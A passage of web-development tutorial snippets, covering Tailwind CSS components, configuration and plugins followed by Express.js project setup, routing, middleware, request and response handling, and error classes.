      <a href="#" class="block px-3 py-2 rounded-md text-gray-700 hover:bg-gray-100">Services</a>
      <a href="#" class="block px-3 py-2 rounded-md text-gray-700 hover:bg-gray-100">Contact</a>
    </div>
  </div>
</nav>

<!-- Sidebar navigation -->
<aside class="w-64 bg-gray-900 min-h-screen">
  <div class="p-4">
    <h2 class="text-white text-xl font-bold mb-6">Dashboard</h2>
    <nav class="space-y-2">
      <a href="#" class="flex items-center gap-3 px-4 py-2 bg-blue-600 text-white rounded-lg">
        <svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
          <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M3 12l2-2m0 0l7-7 7 7M5 10v10a1 1 0 001 1h3m10-11l2 2m-2-2v10a1 1 0 01-1 1h-3m-6 0a1 1 0 001-1v-4a1 1 0 011-1h2a1 1 0 011 1v4a1 1 0 001 1m-6 0h6"></path>
        </svg>
        Dashboard
      </a>
      <a href="#" class="flex items-center gap-3 px-4 py-2 text-gray-300 hover:bg-gray-800 rounded-lg">
        <svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
          <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M16 7a4 4 0 11-8 0 4 4 0 018 0zM12 14a7 7 0 00-7 7h14a7 7 0 00-7-7z"></path>
        </svg>
        Users
      </a>
      <a href="#" class="flex items-center gap-3 px-4 py-2 text-gray-300 hover:bg-gray-800 rounded-lg">
        <svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
          <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M10.325 4.317c.426-1.756 2.924-1.756 3.35 0a1.724 1.724 0 002.573 1.066c1.543-.94 3.31.826 2.37 2.37a1.724 1.724 0 001.065 2.572c1.756.426 1.756 2.924 0 3.35a1.724 1.724 0 00-1.066 2.573c.94 1.543-.826 3.31-2.37 2.37a1.724 1.724 0 00-2.572 1.065c-.426 1.756-2.924 1.756-3.35 0a1.724 1.724 0 00-2.573-1.066c-1.543.94-3.31-.826-2.37-2.37a1.724 1.724 0 00-1.065-2.572c-1.756-.426-1.756-2.924 0-3.35a1.724 1.724 0 001.066-2.573c-.94-1.543.826-3.31 2.37-2.37.996.608 2.296.07 2.572-1.065z"></path>
          <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M15 12a3 3 0 11-6 0 3 3 0 016 0z"></path>
        </svg>
        Settings
      </a>
    </nav>
  </div>
</aside>

<!-- Breadcrumbs -->
<nav class="flex" aria-label="Breadcrumb">
  <ol class="inline-flex items-center space-x-1 md:space-x-3">
    <li class="inline-flex items-center">
      <a href="#" class="text-gray-700 hover:text-blue-600">
        Home
      </a>
    </li>
    <li>
      <div class="flex items-center">
        <svg class="w-6 h-6 text-gray-400" fill="currentColor" viewBox="0 0 20 20">
          <path fill-rule="evenodd" d="M7.293 14.707a1 1 0 010-1.414L10.586 10 7.293 6.707a1 1 0 011.414-1.414l4 4a1 1 0 010 1.414l-4 4a1 1 0 01-1.414 0z" clip-rule="evenodd"></path>
        </svg>
        <a href="#" class="ml-1 text-gray-700 hover:text-blue-600">
          Products
        </a>
      </div>
    </li>
    <li>
      <div class="flex items-center">
        <svg class="w-6 h-6 text-gray-400" fill="currentColor" viewBox="0 0 20 20">
          <path fill-rule="evenodd" d="M7.293 14.707a1 1 0 010-1.414L10.586 10 7.293 6.707a1 1 0 011.414-1.414l4 4a1 1 0 010 1.414l-4 4a1 1 0 01-1.414 0z" clip-rule="evenodd"></path>
        </svg>
        <span class="ml-1 text-gray-500">Details</span>
      </div>
    </li>
  </ol>
</nav>

<!-- Tabs -->
<div class="border-b border-gray-200">
  <nav class="flex space-x-8">
    <a href="#" class="border-b-2 border-blue-500 text-blue-600 py-4 px-1 font-medium">
      Profile
    </a>
    <a href="#" class="border-b-2 border-transparent text-gray-500 hover:text-gray-700 hover:border-gray-300 py-4 px-1 font-medium">
      Settings
    </a>
    <a href="#" class="border-b-2 border-transparent text-gray-500 hover:text-gray-700 hover:border-gray-300 py-4 px-1 font-medium">
      Notifications
    </a>
  </nav>
</div>

<!-- Modal -->
<div class="fixed inset-0 bg-gray-600 bg-opacity-50 flex items-center justify-center p-4 z-50">
  <!-- Modal content -->
  <div class="bg-white rounded-lg shadow-xl max-w-md w-full">
    <!-- Header -->
    <div class="flex items-center justify-between p-6 border-b">
      <h3 class="text-xl font-semibold text-gray-900">
        Modal Title
      </h3>
      <button class="text-gray-400 hover:text-gray-600">
        <svg class="w-6 h-6" fill="none" stroke="currentColor" viewBox="0 0 24 24">
          <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12"></path>
        </svg>
      </button>
    </div>

    <!-- Body -->
    <div class="p-6">
      <p class="text-gray-700">
        This is the modal content. You can add any content here.
      </p>
    </div>

    <!-- Footer -->
    <div class="flex justify-end gap-3 p-6 border-t">
      <button class="px-4 py-2 text-gray-700 border border-gray-300 rounded-lg hover:bg-gray-50">
        Cancel
      </button>
      <button class="px-4 py-2 bg-blue-600 text-white rounded-lg hover:bg-blue-700">
        Confirm
      </button>
    </div>
  </div>
</div>

<!-- Dropdown menu -->
<div class="relative inline-block text-left">
  <button class="flex items-center gap-2 px-4 py-2 bg-white border border-gray-300 rounded-lg hover:bg-gray-50">
    Options
    <svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
      <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19 9l-7 7-7-7"></path>
    </svg>
  </button>

  <!-- Dropdown panel -->
  <div class="absolute right-0 mt-2 w-56 bg-white rounded-lg shadow-lg ring-1 ring-black ring-opacity-5 z-10">
    <div class="py-1">
      <a href="#" class="block px-4 py-2 text-gray-700 hover:bg-gray-100">
        Edit
      </a>
      <a href="#" class="block px-4 py-2 text-gray-700 hover:bg-gray-100">
        Duplicate
      </a>
      <hr class="my-1">
      <a href="#" class="block px-4 py-2 text-red-600 hover:bg-gray-100">
        Delete
      </a>
    </div>
  </div>
</div>

<!-- Toast notification -->
<div class="fixed top-4 right-4 bg-white rounded-lg shadow-lg p-4 max-w-sm animate-slide-in">
  <div class="flex items-start gap-3">
    <!-- Success icon -->
    <div class="flex-shrink-0">
      <svg class="w-6 h-6 text-green-500" fill="none" stroke="currentColor" viewBox="0 0 24 24">
        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M9 12l2 2 4-4m6 2a9 9 0 11-18 0 9 9 0 0118 0z"></path>
      </svg>
    </div>
    <!-- Content -->
    <div class="flex-1">
      <p class="font-medium text-gray-900">Success!</p>
      <p class="text-sm text-gray-500">Your changes have been saved.</p>
    </div>
    <!-- Close button -->
    <button class="flex-shrink-0 text-gray-400 hover:text-gray-600">
      <svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12"></path>
      </svg>
    </button>
  </div>
</div>

<!-- Alert variants -->
<div class="bg-blue-50 border border-blue-200 text-blue-800 px-4 py-3 rounded-lg" role="alert">
  <strong class="font-bold">Info!</strong>
  <span class="block sm:inline"> This is an informational message.</span>
</div>

<div class="bg-green-50 border border-green-200 text-green-800 px-4 py-3 rounded-lg" role="alert">
  <strong class="font-bold">Success!</strong>
  <span class="block sm:inline"> Operation completed successfully.</span>
</div>

<div class="bg-yellow-50 border border-yellow-200 text-yellow-800 px-4 py-3 rounded-lg" role="alert">
  <strong class="font-bold">Warning!</strong>
  <span class="block sm:inline"> Please review before proceeding.</span>
</div>

<div class="bg-red-50 border border-red-200 text-red-800 px-4 py-3 rounded-lg" role="alert">
  <strong class="font-bold">Error!</strong>
  <span class="block sm:inline"> Something went wrong.</span>
</div>

<!-- Badges -->
<span class="px-2 py-1 text-xs font-semibold bg-gray-200 text-gray-800 rounded-full">
  Default
</span>

<span class="px-2 py-1 text-xs font-semibold bg-blue-100 text-blue-800 rounded-full">
  Primary
</span>

<span class="px-2 py-1 text-xs font-semibold bg-green-100 text-green-800 rounded-full">
  Success
</span>

<span class="px-2 py-1 text-xs font-semibold bg-red-100 text-red-800 rounded-full">
  Danger
</span>

<!-- Badge with dot -->
<span class="inline-flex items-center gap-1 px-2 py-1 text-xs font-semibold bg-green-100 text-green-800 rounded-full">
  <span class="w-2 h-2 bg-green-500 rounded-full"></span>
  Active
</span>

<!-- Loading skeleton -->
<div class="animate-pulse">
  <div class="h-4 bg-gray-200 rounded w-3/4 mb-2"></div>
  <div class="h-4 bg-gray-200 rounded w-1/2 mb-2"></div>
  <div class="h-4 bg-gray-200 rounded w-5/6"></div>
</div>

<!-- Progress bar -->
<div class="w-full bg-gray-200 rounded-full h-2.5">
  <div class="bg-blue-600 h-2.5 rounded-full" style="width: 45%"></div>
</div>

<div class="min-h-screen bg-gray-100">
  <!-- Sidebar -->
  <aside class="fixed inset-y-0 left-0 w-64 bg-gray-900">
    <!-- Sidebar content here -->
  </aside>

  <!-- Main content -->
  <div class="ml-64">
    <!-- Header -->
    <header class="bg-white shadow-sm sticky top-0 z-10">
      <div class="px-6 py-4">
        <h1 class="text-2xl font-bold">Dashboard</h1>
      </div>
    </header>

    <!-- Content -->
    <main class="p-6">
      <!-- Grid of cards/widgets -->
      <div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-6">
        <!-- Cards here -->
      </div>
    </main>
  </div>
</div>

<section class="relative bg-gradient-to-r from-blue-600 to-indigo-700 text-white">
  <div class="container mx-auto px-4 py-20 md:py-32">
    <div class="max-w-3xl mx-auto text-center">
      <h1 class="text-4xl md:text-5xl lg:text-6xl font-bold mb-6">
        Build Amazing Products
      </h1>
      <p class="text-xl md:text-2xl mb-8 text-blue-100">
        The fastest way to create beautiful, responsive websites
      </p>
      <div class="flex flex-col sm:flex-row gap-4 justify-center">
        <button class="px-8 py-3 bg-white text-blue-600 rounded-lg font-semibold hover:bg-gray-100">
          Get Started
        </button>
        <button class="px-8 py-3 border-2 border-white rounded-lg font-semibold hover:bg-white hover:text-blue-600 transition-colors">
          Learn More
        </button>
      </div>
    </div>
  </div>
</section>

<!-- Flexbox centering -->
<div class="flex items-center justify-center min-h-screen">
  <div class="text-center">
    Perfectly centered
  </div>
</div>

<!-- Grid centering -->
<div class="grid place-items-center min-h-screen">
  <div>
    Centered with grid
  </div>
</div>

<!-- Absolute centering -->
<div class="relative h-screen">
  <div class="absolute top-1/2 left-1/2 -translate-x-1/2 -translate-y-1/2">
    Centered with transform
  </div>
</div>

<div class="min-h-screen flex flex-col">
  <!-- Header -->
  <header class="bg-gray-800 text-white p-4">
    Header
  </header>

  <!-- Main content area -->
  <div class="flex flex-1">
    <!-- Left sidebar -->
    <aside class="w-64 bg-gray-100 p-4">
      Left Sidebar
    </aside>

    <!-- Main content -->
    <main class="flex-1 p-4">
      Main Content
    </main>

    <!-- Right sidebar -->
    <aside class="w-64 bg-gray-100 p-4">
      Right Sidebar
    </aside>
  </div>

  <!-- Footer -->
  <footer class="bg-gray-800 text-white p-4">
    Footer
  </footer>
</div>

<div class="min-h-screen flex flex-col">
  <!-- Sticky header -->
  <header class="sticky top-0 bg-white shadow-md p-4 z-10">
    Sticky Header
  </header>

  <!-- Main content (scrollable) -->
  <main class="flex-1 p-4">
    <!-- Long content here -->
  </main>

  <!-- Sticky footer -->
  <footer class="sticky bottom-0 bg-gray-800 text-white p-4">
    Sticky Footer
  </footer>
</div>

// tailwind.config.js
module.exports = {
  theme: {
    extend: {
      colors: {
        // Brand colors
        brand: {
          50: '#eff6ff',
          100: '#dbeafe',
          500: '#3b82f6',
          900: '#1e3a8a',
        },
        // Single color
        'accent': '#ff6b6b',
      },
    },
  },
}

<!-- Use custom colors -->
<div class="bg-brand-500 text-white">Brand color</div>
<div class="bg-accent text-white">Accent color</div>

module.exports = {
  theme: {
    extend: {
      spacing: {
        '128': '32rem',
        '144': '36rem',
      },
    },
  },
}

<div class="p-128">Extra large padding</div>

module.exports = {
  theme: {
    extend: {
      fontFamily: {
        sans: ['Inter', 'sans-serif'],
        display: ['Lexend', 'sans-serif'],
        body: ['Open Sans', 'sans-serif'],
      },
    },
  },
}

/* In your CSS */
@import url('https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap');

<h1 class="font-display">Display font</h1>
<p class="font-body">Body font</p>

<!-- Custom width -->
<div class="w-[347px]">Exact width</div>

<!-- Custom color -->
<div class="bg-[#1da1f2]">Twitter blue</div>

<!-- Custom grid -->
<div class="grid-cols-[200px_1fr_200px]">Custom grid</div>

<!-- Custom shadow -->
<div class="shadow-[0_35px_60px_-15px_rgba(0,0,0,0.3)]">Custom shadow</div>

// tailwind.config.js
const plugin = require('tailwindcss/plugin')

module.exports = {
  plugins: [
    plugin(function({ addUtilities }) {
      const newUtilities = {
        '.text-shadow': {
          textShadow: '2px 2px 4px rgba(0,0,0,0.1)',
        },
        '.text-shadow-lg': {
          textShadow: '4px 4px 8px rgba(0,0,0,0.2)',
        },
      }
      addUtilities(newUtilities)
    })
  ],
}

<h1 class="text-shadow">Text with shadow</h1>

npm install @tailwindcss/forms

// tailwind.config.js
module.exports = {
  plugins: [
    require('@tailwindcss/forms'),
  ],
}

<!-- Forms are automatically styled nicely -->
<input type="text" class="mt-1 block w-full">
<select class="mt-1 block w-full">
  <option>Option 1</option>
</select>

npm install @tailwindcss/typography

module.exports = {
  plugins: [
    require('@tailwindcss/typography'),
  ],
}

<article class="prose lg:prose-xl">
  <!-- All HTML elements are beautifully styled -->
  <h1>Heading</h1>
  <p>Paragraph with nice defaults</p>
  <ul>
    <li>List item</li>
  </ul>
</article>

<!-- Dark mode -->
<article class="prose dark:prose-invert">
  Content
</article>

npm install @tailwindcss/aspect-ratio

<div class="aspect-w-16 aspect-h-9">
  <iframe src="video.mp4"></iframe>
</div>

npm install @tailwindcss/container-queries

<div class="@container">
  <div class="@lg:text-xl">
    Responds to container size, not viewport
  </div>
</div>

// tailwind.config.js
const plugin = require('tailwindcss/plugin')

module.exports = {
  plugins: [
    // Simple utility plugin
    plugin(function({ addUtilities }) {
      addUtilities({
        '.rotate-y-180': {
          transform: 'rotateY(180deg)',
        },
      })
    }),

    // Plugin with options
    plugin(function({ addComponents, theme }) {
      addComponents({
        '.btn': {
          padding: theme('spacing.4'),
          borderRadius: theme('borderRadius.lg'),
          fontWeight: theme('fontWeight.semibold'),
          '&:hover': {
            opacity: 0.8,
          },
        },
        '.btn-primary': {
          backgroundColor: theme('colors.blue.500'),
          color: theme('colors.white'),
        },
      })
    }),
  ],
}

npx create-next-app@latest my-app --tailwind

npm install -D tailwindcss postcss autoprefixer
npx tailwindcss init -p

// components/Button.jsx
export default function Button({ children, variant = 'primary' }) {
  const baseClasses = "px-4 py-2 rounded-lg font-medium transition-colors";
  const variants = {
    primary: "bg-blue-600 hover:bg-blue-700 text-white",
    secondary: "bg-gray-200 hover:bg-gray-300 text-gray-900",
    outline: "border-2 border-blue-600 text-blue-600 hover:bg-blue-50",
  };

  return (
    <button className={`${baseClasses} ${variants[variant]}`}>
      {children}
    </button>
  );
}

import clsx from 'clsx';

function Button({ variant, size, children }) {
  return (
    <button
      className={clsx(
        'font-semibold rounded-lg transition-colors',
        {
          'bg-blue-600 text-white hover:bg-blue-700': variant === 'primary',
          'bg-gray-200 text-gray-900 hover:bg-gray-300': variant === 'secondary',
          'px-3 py-1.5 text-sm': size === 'sm',
          'px-4 py-2 text-base': size === 'md',
          'px-6 py-3 text-lg': size === 'lg',
        }
      )}
    >
      {children}
    </button>
  );
}

npm install -D @nuxtjs/tailwindcss

// nuxt.config.ts
export default defineNuxtConfig({
  modules: ['@nuxtjs/tailwindcss'],
})

<template>
  <button
    :class="[
      'px-4 py-2 rounded-lg font-medium transition-colors',
      variantClasses
    ]"
  >
    <slot />
  </button>
</template>

<script setup>
const props = defineProps({
  variant: {
    type: String,
    default: 'primary'
  }
});

const variantClasses = computed(() => {
  const variants = {
    primary: 'bg-blue-600 hover:bg-blue-700 text-white',
    secondary: 'bg-gray-200 hover:bg-gray-300 text-gray-900',
  };
  return variants[props.variant];
});
</script>

npx svelte-add@latest tailwindcss

<script>
  export let variant = 'primary';

  $: variantClasses = {
    primary: 'bg-blue-600 hover:bg-blue-700 text-white',
    secondary: 'bg-gray-200 hover:bg-gray-300 text-gray-900',
  }[variant];
</script>

<button class="px-4 py-2 rounded-lg font-medium transition-colors {variantClasses}">
  <slot />
</button>

@tailwind base;
@tailwind components;
@tailwind utilities;

@layer base {
  h1 {
    @apply text-4xl font-bold;
  }

  a {
    @apply text-blue-600 hover:underline;
  }
}

@layer components {
  .btn {
    @apply px-4 py-2 bg-blue-600 text-white rounded-lg hover:bg-blue-700;
  }

  .card {
    @apply bg-white rounded-lg shadow-md p-6;
  }
}

@layer utilities {
  .text-shadow {
    text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.1);
  }
}

.btn-primary {
  @apply px-4 py-2 bg-blue-600 text-white rounded-lg hover:bg-blue-700 transition-colors;
}

// tailwind.config.js
const plugin = require('tailwindcss/plugin')

module.exports = {
  plugins: [
    plugin(function({ addVariant }) {
      // Custom variant for third child
      addVariant('third', '&:nth-child(3)');

      // Custom variant for optional elements
      addVariant('optional', '&:optional');

      // Custom variant for hocus (hover + focus)
      addVariant('hocus', ['&:hover', '&:focus']);
    })
  ],
}

<div class="third:bg-blue-500">Third child is blue</div>
<input class="optional:border-gray-300" />
<button class="hocus:bg-blue-700">Hover or focus</button>

<!-- Without important -->
<p class="text-red-500">Red text</p>

<!-- With important (overrides everything) -->
<p class="!text-red-500">Always red text</p>

<!-- Target specific data attribute -->
<div class="[&[data-state='active']]:bg-blue-500" data-state="active">
  Blue when active
</div>

<!-- Target child elements -->
<ul class="[&>li]:mb-2">
  <li>Item 1</li>
  <li>Item 2</li>
</ul>

<!-- Complex selectors -->
<div class="[&:nth-child(3)]:text-red-500">
  Third child is red
</div>

// tailwind.config.js
module.exports = {
  content: [
    './src/**/*.{js,jsx,ts,tsx}',
    './public/index.html',
    // Don't include:
    // - node_modules (unless using Tailwind in a package)
    // - build/dist folders
  ],
}

NODE_ENV=production npx tailwindcss -o output.css --minify

// package.json
{
  "scripts": {
    "build": "NODE_ENV=production webpack build"
  }
}

<!-- Always include focus styles -->
<button class="
  bg-blue-600
  focus:outline-none
  focus:ring-2
  focus:ring-blue-500
  focus:ring-offset-2
">
  Accessible button
</button>

<!-- Focus-visible (keyboard only) -->
<a href="#" class="
  focus:outline-none
  focus-visible:ring-2
  focus-visible:ring-blue-500
">
  Link
</a>

<!-- Screen reader only text -->
<button class="p-2">
  <svg class="w-6 h-6" fill="currentColor">
    <!-- Icon -->
  </svg>
  <span class="sr-only">Close menu</span>
</button>

<!-- Hide from screen readers -->
<div aria-hidden="true" class="text-gray-400">
  Decorative element
</div>

<!-- Good contrast -->
<div class="bg-gray-900 text-white">High contrast</div>

<!-- Ensure sufficient contrast -->
<p class="text-gray-600"><!-- Check contrast ratio --></p>

<!-- Use Tailwind's color scales appropriately -->
<!-- On white bg: gray-700, gray-800, gray-900 are safe -->
<!-- On dark bg: gray-100, gray-200, gray-300 are safe -->

<!-- Ensure tab order makes sense -->
<nav>
  <a href="#" class="focus:ring-2 tabindex="0">Link 1</a>
  <a href="#" class="focus:ring-2 tabindex="0">Link 2</a>
</nav>

<!-- Skip link for keyboard users -->
<a href="#main-content" class="sr-only focus:not-sr-only focus:absolute focus:top-0">
  Skip to main content
</a>

<div class="container">
  <div class="row">
    <div class="col-md-6">Column 1</div>
    <div class="col-md-6">Column 2</div>
  </div>
</div>

<div class="container mx-auto px-4">
  <div class="grid grid-cols-1 md:grid-cols-2 gap-4">
    <div>Column 1</div>
    <div>Column 2</div>
  </div>
</div>

{
  "tailwindCSS.experimental.classRegex": [
    ["class:\\s*?[\"'`]([^\"'`]*).*?[\"'`]", "[\"'`]([^\"'`]*).*?[\"'`]"],
  ],
  "editor.quickSuggestions": {
    "strings": true
  }
}

npm install -D prettier prettier-plugin-tailwindcss

// .prettierrc
{
  "plugins": ["prettier-plugin-tailwindcss"]
}

npm install @headlessui/react

import { Dialog } from '@headlessui/react'

function MyDialog({ isOpen, onClose }) {
  return (
    <Dialog open={isOpen} onClose={onClose} className="relative z-50">
      <div className="fixed inset-0 bg-black/30" aria-hidden="true" />

      <div className="fixed inset-0 flex items-center justify-center p-4">
        <Dialog.Panel className="bg-white rounded-lg p-6 max-w-sm">
          <Dialog.Title className="text-lg font-medium">Title</Dialog.Title>
          <Dialog.Description>Description</Dialog.Description>

          <button onClick={onClose} className="mt-4 px-4 py-2 bg-blue-600 text-white rounded">
            Close
          </button>
        </Dialog.Panel>
      </div>
    </Dialog>
  )
}

# Create project directory
mkdir my-express-app
cd my-express-app

# Initialize npm project
npm init -y

# Install Express
npm install express

# Install development dependencies
npm install --save-dev nodemon typescript @types/node @types/express

# Initialize TypeScript
npx tsc --init

{
  "compilerOptions": {
    "target": "ES2020",
    "module": "commonjs",
    "lib": ["ES2020"],
    "outDir": "./dist",
    "rootDir": "./src",
    "strict": true,
    "esModuleInterop": true,
    "skipLibCheck": true,
    "forceConsistentCasingInFileNames": true,
    "resolveJsonModule": true
  },
  "include": ["src/**/*"],
  "exclude": ["node_modules"]
}

{
  "scripts": {
    "build": "tsc",
    "start": "node dist/index.js",
    "dev": "nodemon --exec ts-node src/index.ts",
    "watch": "tsc --watch"
  }
}

const express = require('express');
const app = express();
const PORT = 3000;

app.get('/', (req, res) => {
  res.send('Hello World!');
});

app.listen(PORT, () => {
  console.log(`Server running on http://localhost:${PORT}`);
});

import express, { Express, Request, Response } from 'express';

const app: Express = express();
const PORT = process.env.PORT || 3000;

app.get('/', (req: Request, res: Response) => {
  res.send('Hello World!');
});

app.listen(PORT, () => {
  console.log(`Server running on http://localhost:${PORT}`);
});

my-express-app/
├── src/
│   ├── index.ts              # Entry point
│   ├── config/
│   │   ├── database.ts       # Database configuration
│   │   └── environment.ts    # Environment variables
│   ├── controllers/          # Route controllers
│   │   └── userController.ts
│   ├── middleware/           # Custom middleware
│   │   ├── auth.ts
│   │   └── errorHandler.ts
│   ├── models/               # Data models
│   │   └── User.ts
│   ├── routes/               # Route definitions
│   │   └── userRoutes.ts
│   ├── services/             # Business logic
│   │   └── userService.ts
│   └── utils/                # Utility functions
│       └── validators.ts
├── tests/                    # Test files
├── dist/                     # Compiled JavaScript
├── node_modules/
├── package.json
├── tsconfig.json
└── .env

import express from 'express';
const app = express();

// GET request
app.get('/users', (req, res) => {
  res.json({ message: 'Get all users' });
});

// POST request
app.post('/users', (req, res) => {
  res.json({ message: 'Create user' });
});

// PUT request
app.put('/users/:id', (req, res) => {
  res.json({ message: `Update user ${req.params.id}` });
});

// DELETE request
app.delete('/users/:id', (req, res) => {
  res.json({ message: `Delete user ${req.params.id}` });
});

// PATCH request
app.patch('/users/:id', (req, res) => {
  res.json({ message: `Partially update user ${req.params.id}` });
});

// Single parameter
app.get('/users/:id', (req, res) => {
  const userId = req.params.id;
  res.json({ userId });
});

// Multiple parameters
app.get('/users/:userId/posts/:postId', (req, res) => {
  const { userId, postId } = req.params;
  res.json({ userId, postId });
});

// Optional parameters (using regex)
app.get('/users/:id(\\d+)?', (req, res) => {
  res.json({ id: req.params.id || 'all' });
});

// GET /search?q=express&limit=10
app.get('/search', (req, res) => {
  const { q, limit = 10 } = req.query;
  res.json({ query: q, limit });
});

// Single callback
app.get('/example1', (req, res) => {
  res.send('Single callback');
});

// Multiple callbacks
app.get('/example2',
  (req, res, next) => {
    console.log('First handler');
    next();
  },
  (req, res) => {
    res.send('Second handler');
  }
);

// Array of callbacks
const cb1 = (req, res, next) => {
  console.log('CB1');
  next();
};

const cb2 = (req, res, next) => {
  console.log('CB2');
  next();
};

app.get('/example3', [cb1, cb2], (req, res) => {
  res.send('Array of callbacks');
});

// routes/userRoutes.ts
import { Router } from 'express';
import * as userController from '../controllers/userController';

const router = Router();

router.get('/', userController.getAllUsers);
router.get('/:id', userController.getUserById);
router.post('/', userController.createUser);
router.put('/:id', userController.updateUser);
router.delete('/:id', userController.deleteUser);

export default router;

// index.ts
import userRoutes from './routes/userRoutes';
app.use('/api/users', userRoutes);

app.route('/users')
  .get((req, res) => {
    res.json({ message: 'Get all users' });
  })
  .post((req, res) => {
    res.json({ message: 'Create user' });
  });

app.route('/users/:id')
  .get((req, res) => {
    res.json({ message: 'Get user' });
  })
  .put((req, res) => {
    res.json({ message: 'Update user' });
  })
  .delete((req, res) => {
    res.json({ message: 'Delete user' });
  });

import express from 'express';
const app = express();

// Parse JSON bodies
app.use(express.json());

// Parse URL-encoded bodies
app.use(express.urlencoded({ extended: true }));

// Serve static files
app.use(express.static('public'));

// Executed for every request
app.use((req, res, next) => {
  console.log(`${req.method} ${req.url}`);
  next();
});

// Executed for specific path
app.use('/api', (req, res, next) => {
  console.log('API request');
  next();
});

const router = express.Router();

router.use((req, res, next) => {
  console.log('Router middleware');
  next();
});

router.get('/users', (req, res) => {
  res.json({ message: 'Users' });
});

app.use('/api', router);

// Logger middleware
const logger = (req: Request, res: Response, next: NextFunction) => {
  const timestamp = new Date().toISOString();
  console.log(`[${timestamp}] ${req.method} ${req.path}`);
  next();
};

// Request timing middleware
const requestTimer = (req: Request, res: Response, next: NextFunction) => {
  const start = Date.now();

  res.on('finish', () => {
    const duration = Date.now() - start;
    console.log(`Request took ${duration}ms`);
  });

  next();
};

// Auth middleware
const authenticate = (req: Request, res: Response, next: NextFunction) => {
  const token = req.headers.authorization;

  if (!token) {
    return res.status(401).json({ error: 'No token provided' });
  }

  try {
    // Verify token
    const decoded = verifyToken(token);
    req.user = decoded;
    next();
  } catch (error) {
    res.status(401).json({ error: 'Invalid token' });
  }
};

// Usage
app.use(logger);
app.use(requestTimer);
app.use('/api/protected', authenticate);

// CORS
import cors from 'cors';
app.use(cors({
  origin: 'http://localhost:3000',
  credentials: true
}));

// Helmet (security headers)
import helmet from 'helmet';
app.use(helmet());

// Compression
import compression from 'compression';
app.use(compression());

// Cookie parser
import cookieParser from 'cookie-parser';
app.use(cookieParser());

// Morgan (HTTP request logger)
import morgan from 'morgan';
app.use(morgan('combined'));

// Express validator
import { body, validationResult } from 'express-validator';

app.post('/users',
  body('email').isEmail(),
  body('password').isLength({ min: 6 }),
  (req, res) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
      return res.status(400).json({ errors: errors.array() });
    }
    // Process request
  }
);

app.post('/example', (req: Request, res: Response) => {
  // Request body (requires body-parser or express.json())
  console.log(req.body);

  // URL parameters
  console.log(req.params);

  // Query parameters
  console.log(req.query);

  // Headers
  console.log(req.headers);
  console.log(req.get('Content-Type'));

  // Cookies (requires cookie-parser)
  console.log(req.cookies);
  console.log(req.signedCookies);

  // Request URL info
  console.log(req.protocol);      // http or https
  console.log(req.hostname);      // Host name
  console.log(req.path);          // Path part of URL
  console.log(req.originalUrl);   // Original URL
  console.log(req.baseUrl);       // Base URL

  // Request method
  console.log(req.method);        // GET, POST, etc.

  // IP address
  console.log(req.ip);
  console.log(req.ips);

  // Check content type
  console.log(req.is('json'));
  console.log(req.is('html'));

  res.send('OK');
});

app.get('/response-examples', (req: Request, res: Response) => {
  // Send text
  res.send('Hello World');

  // Send JSON
  res.json({ message: 'Success', data: [] });

  // Set status code and send
  res.status(201).json({ message: 'Created' });

  // Send file
  res.sendFile('/path/to/file.pdf');

  // Download file
  res.download('/path/to/file.pdf', 'filename.pdf');

  // Redirect
  res.redirect('/new-url');
  res.redirect(301, '/permanent-redirect');

  // Set headers
  res.set('Content-Type', 'text/html');
  res.set({
    'Content-Type': 'text/html',
    'X-Custom-Header': 'value'
  });

  // Set cookies
  res.cookie('name', 'value', {
    maxAge: 900000,
    httpOnly: true,
    secure: true
  });

  // Clear cookie
  res.clearCookie('name');

  // Render view (requires template engine)
  res.render('index', { title: 'Home' });

  // End response
  res.end();

  // Send status with message
  res.sendStatus(404); // Sends "Not Found"
});

// Success
res.status(200).json({ message: 'OK' });
res.status(201).json({ message: 'Created' });
res.status(204).send(); // No Content

// Client Errors
res.status(400).json({ error: 'Bad Request' });
res.status(401).json({ error: 'Unauthorized' });
res.status(403).json({ error: 'Forbidden' });
res.status(404).json({ error: 'Not Found' });
res.status(422).json({ error: 'Unprocessable Entity' });

// Server Errors
res.status(500).json({ error: 'Internal Server Error' });
res.status(503).json({ error: 'Service Unavailable' });

// Synchronous error
app.get('/sync-error', (req, res) => {
  throw new Error('Synchronous error');
});

// Asynchronous error (must use next)
app.get('/async-error', (req, res, next) => {
  setTimeout(() => {
    try {
      throw new Error('Async error');
    } catch (err) {
      next(err);
    }
  }, 100);
});

// Promise rejection
app.get('/promise-error', async (req, res, next) => {
  try {
    await someAsyncOperation();
    res.json({ success: true });
  } catch (err) {
    next(err);
  }
});

// Error handler (must have 4 parameters)
app.use((err: Error, req: Request, res: Response, next: NextFunction) => {
  console.error(err.stack);
  res.status(500).json({
    error: {
      message: err.message,
      stack: process.env.NODE_ENV === 'development' ? err.stack : undefined
    }
  });
});

// errors/AppError.ts
export class AppError extends Error {
  statusCode: number;
  isOperational: boolean;

  constructor(message: string, statusCode: number) {
    super(message);
    this.statusCode = statusCode;
    this.isOperational = true;

    Error.captureStackTrace(this, this.constructor);
  }
}

export class ValidationError extends AppError {
  constructor(message: string) {
    super(message, 400);
  }
}

export class NotFoundError extends AppError {
  constructor(message: string = 'Resource not found') {
    super(message, 404);
  }
}

export class UnauthorizedError extends AppError {
  constructor(message: string = 'Unauthorized') {
    super(message, 401);
  }
}

// Usage in controllers
import { NotFoundError } from '../errors/AppError';

app.get('/users/:id', async (req, res, next) => {
  try {
    const user = await findUserById(req.params.id);
    if (!user) {
